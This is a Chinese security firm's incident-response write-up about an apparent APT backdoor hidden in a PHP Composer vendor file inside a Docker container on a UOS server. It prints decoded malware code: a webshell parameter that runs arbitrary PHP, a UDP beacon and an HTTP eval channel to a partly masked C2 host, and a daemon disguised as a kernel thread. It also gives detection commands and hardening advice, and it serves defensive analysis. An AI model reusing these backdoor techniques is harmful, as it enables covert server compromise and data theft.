【应急案例】一起国产统信服务器遭APT入侵的案例排查与样本详解...
原创
问鼎安全
问鼎安全
问鼎安全应急响应中心
2026年10月9日 10:27
湖北
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
------免责声明------
本文内容仅供学习交流与借鉴,旨在提升安全意识、加强安全防护。请勿用于非法用途,擅自操作后果自负。如有内容存在争议或侵权请联系我们删除。感谢您的理解与支持,让我们共同维护网络安全环境。
本文涉及展示样本与事件背景均为实际事实,非杜撰情节
前言
问鼎安全应急响应中心长期深耕高级威胁狩猎、政企单位一线应急响应场景,持续捕获、研判、处置多起APT高级持续性威胁入侵事件、定向渗透攻击与高危木马入侵案例,积累了大量实战化攻防溯源经验。
【首发披露】越南APT32-海莲花盯向国内常用应用,投放样本多层私有加密,完整逆向解密流程全拆解...
【应急案例】一起linux服务器被APT入侵的案例排查与样本详解...
本次我们将完整带大家走进一起APT组织入侵国产统信服务器的应急响应案例,从统信服务器Docker入侵痕迹排查到恶意样本逐层拆解、加密机制破解、攻击链路还原,完整呈现实战级应急处置思路,全文干货充足、细节详实,建议收藏细读。
声明:本案例所涉客户业务环境使用统信服务器,本文仅为安全事件复盘与技术学习交流,用于攻防经验分享、安全防护能力提升。本次安全事件的根本原因与服务器操作系统厂商无关联;任何操作系统、服务器环境都存在被攻击的可能性,网络安全事件绝大多数源于人为层面的安全管控与系统漏洞补丁疏漏。
应急溯源流程
本次案例我们将完整展示被 APT 入侵统信服务器侧 Docker 容器的应急处置、痕迹排查、线索溯源、上报窃密流量捕获全流程,梳理清晰、高效的极速排查思路,适配一线应急响应实战场景,可直接落地复用。
2.1 前期有效沟通
我们在接收到相关客户需求后,会针对性问询能够提升处置效率的关键信息,例如事件背景、是否收到相关通报、属于自主发现还是通报处置、事件已知 IOC以及一些方便排查的事件前后背景等。
在沟通引导后,确认本次事件为已被情报标记的 APT 入侵事件,目标服务器为国产统信服务器;且入侵时间晚于情报标记时间,并非长期潜伏,处于入侵初期阶段即被发现!
那么本次应急事件基本可以宣告,去了直接秒(确定根因实际也就十分钟左右)!
在这里也提醒各位应急从业者(因为很多伙伴在听到真实的APT事件处置前就会感到压力或者“恐惧感”,但实际绝非无懈可击):
安全事件处置本身并不可怕,真正考验人的是直面事件、不胆怯的心态。
沉着冷静、保持思考与自信,是顺利完成事件处置的重要基础。
当然目前AI盛行时代这里也值得一提,在拥有思路的前提下,十分钟能解决的事情又何必指望AI,徒增溯源误导与承担泄密与不合规的风险!
2.2 上机排查,确认入侵入口与固证
在抵达现场后,首先还是进行服务器时区的确定(本次案例时区未偏差),避免后续因服务器时区问题带来的损失效率以及误导问题。
观察失陷机器内部环境(譬如起了什么服务,部署了什么等等)梳理当前运行服务、业务部署情况,确定系统版本为统信服务器,存在数据库,Docker,Nginx等,初步猜测为测试环境下的开发服务器。
确定对应Docker容器 ID,进入容器检索可疑痕迹,定位异常文件变更;结合文件行为研判,推测攻击者借助研发更新推送完成投毒,最终锁定根因文件为 Vendor 目录下的 PHP 文件。
值得一提:Vendor 目录极为特殊,无论 Web 访问或是 CLI 命令行执行,每一次执行都会加载该类。
改动这个单个文件,等同于在业务全部请求的总入口安放后门。 Vendor 目录属于审计盲区,AI 代码审计默认会直接跳过该目录,除非人工指定审计路径:
.gitignore默认排除Vendor/,git diff无法发现该目录下文件改动;- 开发人员天然信任 Composer 依赖包,不会校验依赖文件哈希值;
- 文件外观无异常,命名空间、类结构、代码风格与原版保持一致,仅在文件末尾新增 3 行恶意代码。
| 选择该目录文件原因 | 说明 |
|---|---|
| 覆盖率 100% | 单个文件即可覆盖 Web + CLI 全部执行路径,无需多文件感染,降低暴露概率 |
| 感染面最小 = 隐蔽性强 | 仅修改 1 个文件,改动量极小(新增 3 行代码,约 6KB),对比修改大量文件更难被察觉 |
| vendor 为审计盲区 | Vendor / 目录通常被 .gitignore 忽略,git diff 无法感知变更,运维人员一般不会比对依赖文件官方哈希 |
| 追加在类外,不破坏业务功能 | 恶意代码放置在类定义之后的全局代码段,类原有方法逻辑不受影响,业务可正常运行,网站管理员难以感知异常 |
梳理失陷后主机文件操作与网络流量行为。定位根因后,在宿主机执行 docker diff 命令,可直接对比容器可写层与原始镜像之间全部变更内容,相比单纯依靠时间戳检索更加精准;也可使用 find 命令限定时间区间与目录范围检索,多种命令均可实现线索查找。本次发现后门生成加密命名的上报文件。
流量层面重点核查入向远控连接与内网横向可疑流量,评估事件影响范围与真实实际风险等级。如果依靠 AI 判定容易简单输出高危、特危等笼统结论措辞,造成风险误判。本次事件处于入侵早期,未发现入向远控流量,仅存在外发上报流量,后续通过复现验证该行为,辅以佐证风险评估。
真实的应急处置工作,绝非处置完成后就收尾离场。客户需要事先或事中汇报对安全事件开展风险评级(如P级定级),这就要求应急人员结合事件实际影响与现场情况给出客观定级结论。该定级不仅用于企业内部事件评估,也直接决定客户对本次安全事件的风险感知。既不能夸大风险、制造不必要恐慌,也不可随意降低等级、低估潜在威胁。
2.3 恶意文件分析
定位根因文件后开展样本分析:该文件本质为经过多层加密混淆的轻量 Webshell,大小仅 6KB。仅修改单个文件即可实现业务 100% 覆盖,访问网站任意页面均可触发后门逻辑。
2.3.1 混淆 / 加密机制还原
样本采用四层反分析手段:
1. 字符串表 → 十六进制整数数组(大端打包)
$sl = array(0x6578706c, 0x6f646500, ...); // 80 个 32 位整数$r = '';foreach ($sl as $d) { $r .= chr($d >> 24) . chr($d >> 16) . chr($d >> 8) . chr($d);}
每个 32 位整数拆分为 4 字节(高位在前)进行拼接,字符串以 \\0 分隔,共解析出 80 个条目:
- 前段:52 个 PHP 函数名(explode、base64\_decode、stream\_socket\_client…)
- 中段:base64 编码的 C2 地址与 payload 模板
- 尾段:系统变量名(PHP\_OS、USER、HTTP\_HOST…)与状态文件标识字段
2. 函数名间接调用(反静态检测)
$f = explode(chr(0), $r); // 得到函数名数组$f[21](...) // 相当于 stream_socket_client(...)$f[19](...) // 相当于 file_put_contents(...)
源码中不存在 eval/system/file_get_contents 等敏感函数直接调用,静态查杀、代码审计极易遗漏。
3. 关键字符串 Base64 化
| 混淆值 | 解码结果 |
|---|---|
dW**********************************== |
udp://blogs.**********.com:9988 |
aH**********************************w== |
http://blogs.*********.com/***/init? |
W2t3b3JrZXIvMDowSE5d |
[kworker/0:0HN] (进程伪装名) |
PD9waHAg... |
<?php ... function __run_code_x20($c){ eval($c); } ... (内嵌 payload) |
4. 文件名变形
$sfile = '/sess_zz***************';$sfile[2] = 's'; $sfile[3] = 'e'; // /sess_ → /sses_(主机ID文件用)
5. 静默执行
set_error_handler(function () {});error_reporting(0);@$loader(true); // @ 抑制一切错误输出
2.3.2 恶意代码功能详解
2.3.2.1 WebShell —— 任意代码执行入口
$payload = $_REQUEST['d2'];$payload = json_decode(base64_decode(strrev($payload)));if (is_array($payload)) { $outer = array_shift($payload); $inner = array_shift($payload); die($outer($inner == 'i' ? include($payload[0]) : $inner($payload[0], $payload[1])));}
- 入口参数:
d2 - 编码链:
strrev(字符串反转)→base64_decode→json_decode - 调用格式:
?d2=<反转的base64(JSON数组)>,数组格式[外层函数, 内层函数, 参数1, 参数2] $inner == 'i'分支:任意文件包含;其余分支:两层函数调用链,可组合实现 system/exec/eval 等执行效果;- 效果:攻击者仅需一条 HTTP 请求,即可在服务器执行任意 PHP 代码。
2.3.2.2 环境信息采集
采集并打包主机信息(全部明文传输):
| 字段 | 来源 |
|---|---|
| 操作系统名 | PHP_OS |
| 主机名 | gethostname() |
| 完整系统信息(含内核版本) | php_uname() 前 128 字节 |
| 用户 ID / 用户名 | posix_getuid() / posix_getpwuid() |
| 主机 ID | 持久化存储 time().mt_rand(100,999) |
| 运行模式 | php_sapi_name() (fpm-fcgi / cli) |
| PHP 版本 | phpversion() |
| 工作目录 | getcwd() 或 DOCUMENT_ROOT |
| HTTP\_HOST / SCRIPT\_NAME / REQUEST\_URI | $_SERVER |
| Cookie 或 禁用函数列表 | CLI 模式读取 disable_functions |
2.3.2.3 UDP 单向上报(隐蔽通道)
$tf = $pfile . 'u' . intval($cli) . intval($uid === 0); // 状态文件if (time() < file_get_contents($tf)) return; // 2 小时去重file_put_contents($tf, time() + 7200);fwrite(stream_socket_client('udp://blogs.**********.com:9988', ...), \"\\xfe\\xf1\\x01\" . implode(\"\\0\", $rdata));
- UDP 无连接特性:报文发送即结束,不会建立 TCP 会话,防火墙、连接监控很难感知;
- 2 小时去重机制:依靠
sess_...u<cli><uid0>文件记录下次上报时间,避免高频外联暴露; - 后缀编码规则:
11=CLI+root 权限;00=Web + 非 root 权限。
2.3.2.4 无文件落地(Fileless)
file_put_contents($pfile, base64_decode($f[47])); // 写入 __run_code_x20 定义include_once($pfile); // 载入函数unlink($pfile); // 立刻删除
Payload 文件仅在磁盘短暂留存(毫秒级),静态扫描手段难以捕获。
2.3.2.5 HTTP 远程任务通道
$data = file_get_contents('http://blogs.**********.com/v***/init?' . http_build_query($params));if ($gz) $data = gzuncompress($data);__run_code_x20($data); // eval($data)
- 向 C2 拉取任务指令,返回数据支持 gzip 解压,最终通过 eval 执行
- 上报参数包含:
ud(本机信息)、lv(任务级别)、gz、t(时间戳) - 效果:攻击者可随时下发任意代码执行,全程无落地文件痕迹
2.3.2.6 CLI 模式:常驻守护进程(伪装内核线程)
$pid= pcntl_fork();if($pid > 0) return pcntl_waitpid($pid, $s); // 父进程退出pcntl_fork(); // 二次 fork,脱离终端posix_setsid(); // 脱离会话cli_set_process_title('[kworker/0:0HN]'); // 伪装成内核线程fclose(STDOUT); fclose(STDERR); // 关闭输出do { if(time() > $next) { $next = time() + 3600; $go(4); } // 每小时心跳 sleep(60);} while (1);
- 只要执行一次 artisan 命令(例如
php artisan migrate),后门就会 fork 生成常驻守护进程 - 进程名伪装为
[kworker/0:0HN],混杂在内核线程中,ps命令很难分辨真伪 - 每小时主动向 C2 发送心跳,维持被控在线状态
2.3.2.7 Web 模式:响应后偷偷外联
ignore_user_abort(true); // 客户端断开也继续执行register_shutdown_function(function () use ($go) { set_error_handler(function () {}); error_reporting(0); fastcgi_finish_request(); // 先把页面响应返回给用户 $go(2); // 再在后台外联 C2});
- 任意经过 PHP 处理的网页请求均可触发该逻辑
fastcgi_finish_request()优先完成页面返回 → 用户访问无延迟感知- 页面返回完成后,在后台悄悄和 C2 建立通信上报信息
2.3.3 上报流量复现与反向验证
梳理完 4KB 恶意代码片段的功能逻辑,掌握攻击机制与行为特征后,我们开展上报流量复现与反向验证。
2.3.3.1 守护进程确定
首先说明:客户发现入侵后执行断网与重启操作,因此恶意守护进程未被触发,现场不存在该进程。
可使用以下检索方式排查此类恶意守护进程:
for p in $(pgrep -f 'kworker'); do echo \"PID $p exe=$(readlink /proc/$p/exe 2>&1)\"; donefor p in $(pgrep -f 'kworker'); do echo \"PID $p exe=$(readlink /proc/$p/exe 2>&1)\"; done
真实内核线程的 exe 为空;伪装恶意进程 exe 会指向 php 程序。
ps aux | grep -iE 'kworker|artisan' | grep -v grep
用于检索伪装成内核线程的恶意进程。
2.3.3.2 上报流量复现
我们通过对于生成的sess文件进行删除,再次手动触发上报行为,通过捕获UDP流量来显示上报窃取的具体内容。
当然不用使用Wireshark,几乎98%的应急场景下都用不到繁重的Wireshark,除了硬件取证或流量大小复现的状况下需要核对不知原因的流量以及窃密传输--譬如境外ES数据库窃密/基础单位摄像头出向流量大小确定,可以通过管理后台时间以及浏览的模块重现模拟复现流量包大小以确定大致情况。
操作方式:这里需要开两个命令窗口,一条直接宿主机操作删除容器中的生成的sess文件;
另外一个窗口进入容器中,利用tcpdump 指定UDP与端口进行捕获;
宿主机直接本地curl下127.0.0.1本地的任意应用系统接口,容器中的对应tcpdump便可捕获窃密上报的信息。
2.3.4 生成文件含义
| 文件 | 属主 | 含义 |
|---|---|---|
| sses\_...hid | root | 后门生成的主机 ID 文件($idfile) |
| sess\_...i11 / u11 | root | CLI 模式;root 账号运行(root 执行 artisan 触发,11 代表 cli+uid0) |
| sess\_...u00 | www-data | Web 模式;php-fpm 处理网页请求触发,00 代表 web + 非 root |
sess_zz******j
固定标识串(硬编码) 类型 cli root
| 部分 | 含义 |
|---|---|
| sess\_ | 伪装成 PHP session 会话文件,PHP 会话文件默认命名即为 sess\_开头,管理员看到不易起疑 |
| zzi\\\\\\\\\\\\\\\\\*mj | 后门硬编码固定标识串,感染该后门的所有主机均使用该串 |
| 类型标记 | hid = 主机 ID;i = 首次标记 (initial);u = 下次上报时间 (update) |
| 第 1 位数字 | intval ($cli):1 = CLI / 命令行模式,0 = Web 模式 |
| 第 2 位数字 | intval ($uid === 0):1 = root 身份,0 = 非 root(如 www-data) |
① sses\_...hid —— 主机 ID(Host ID)
| 项目 | 内容 |
|---|---|
| 原始内容 | 17\\\\\\\\\\4(13 位) |
| 生成公式 | time() . mt\_rand(100,999) |
| 拆解 | 时间戳 17\\\\\\\*5 + 随机数 584 |
| 换算时间 | 2026-0\-\\ \\:\\:\\*(北京时间) |
| 作用 | 为被控主机分配唯一标识。C2 依靠该 ID 关联同一主机的多次上报,即使目标更换 IP、切换运行用户,攻击者依旧识别为同一台机器。 |
② sess\_...i11 —— 首次上报标记(initial)
| 项目 | 内容 |
|---|---|
| 原始内容 | 17\\\\\\\*5 |
| 生成公式 | time() + 7200 |
| 换算时间 | 2026-\\-\\ \\:\\:\\(北京时间) |
| 后缀解读 | i + 1 (CLI) + 1 (root) → 命令行 + root 身份 |
| 作用 | 标记该主机已在 CLI/root 环境完成首次上报,同时记录下一次允许上报时间。 |
③ sess\_...u11 —— 下次允许上报时间(CLI/root)
| 项目 | 内容 |
|---|---|
| 原始内容 | 17\\\\\\\*5 |
| 生成公式 | time() + 7200 |
| 换算时间 | 2026-\\-\\ \\:\\:\\(北京时间) |
| 后缀解读 | u + 1(CLI) + 1(root) |
| 作用 | 2 小时去重锁机制:后门上报前读取该文件,若当前时间小于文件内时间,则直接跳过上报,避免频繁外联被流量设备捕获。该计时链路独立于 Web 模式。 |
④ sess\_...u00 —— 下次允许上报时间(Web/www-data)
| 项目 | 内容 |
|---|---|
| 原始内容 | 17\\\\\\\*7 |
| 生成公式 | time() + 7200 |
| 换算时间 | 2026-\\-\\ \\:\\:\\(北京时间) |
| 后缀解读 | u + 0 (Web) + 0 (非 root/www-data) |
| 作用 | 和上面时间锁逻辑一致,对应网页请求触发的上报链路,独立计时。 |
攻击总结与复盘
本次 APT 入侵统信服务器 Docker 容器的应急案例,展现了攻击者利用 PHP 项目Vendor目录天然的审计盲区实施投毒的典型攻击手法:仅修改单个依赖文件,在不破坏业务正常运行的前提下植入多层混淆后门,同时兼顾 Web 与 CLI 双执行链路,实现无文件载荷、UDP 隐蔽上报、伪装内核进程持久化等高级对抗能力,隐蔽性极强。
在应急处置层面,事件前期沟通、现场时间校验、容器差异比对、样本逆向、流量复现等一系列实操手段,能够快速定位入侵根因,还原完整攻击链路。安全事件定级不能简单依赖 AI 输出的笼统风险标签,需要应急人员结合入侵阶段、横向扩散范围、数据窃取情况、业务影响等现场真实信息,客观完成 P 级风险评定,既不夸大风险,也不低估隐患,为客户后续的整改、止损与防护加固提供可靠依据。
此类依托依赖包投毒的后门攻击,对传统代码审计、静态查杀手段具备较强逃逸效果。后续防护建议重点关注依赖文件哈希校验、Vendor 目录变更监控、异常进程名称巡检、外发 UDP 流量审计,同时完善上线前依赖安全检测,从源头降低同类 APT 定向入侵的风险。
最后
本次拆解的统信服务器遭APT入侵的应急案例,提供了很多小细节与处置排查方法,实际用时排查很短,也许这一切需要经验去堆叠,但总体难说难度不大,需要的是用心思考与敏锐的思路,高效迅速并辅以担得起责任的结论是较为重要的。
与此同时,若企业遭遇未知恶意程序入侵、远控木马、内核级驻留类安全事件包含攻防对抗,APT威胁等场景,均可随时联系我司应急响应团队,7×24 小时提供专业处置支持。
当然我们也开启了中小企业的免费应急响应服务,具体参考前文:
本次分享为真实实际样本失陷排查,若您感兴趣或遭受相似失陷场景均可联系交流。

------THE END------
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论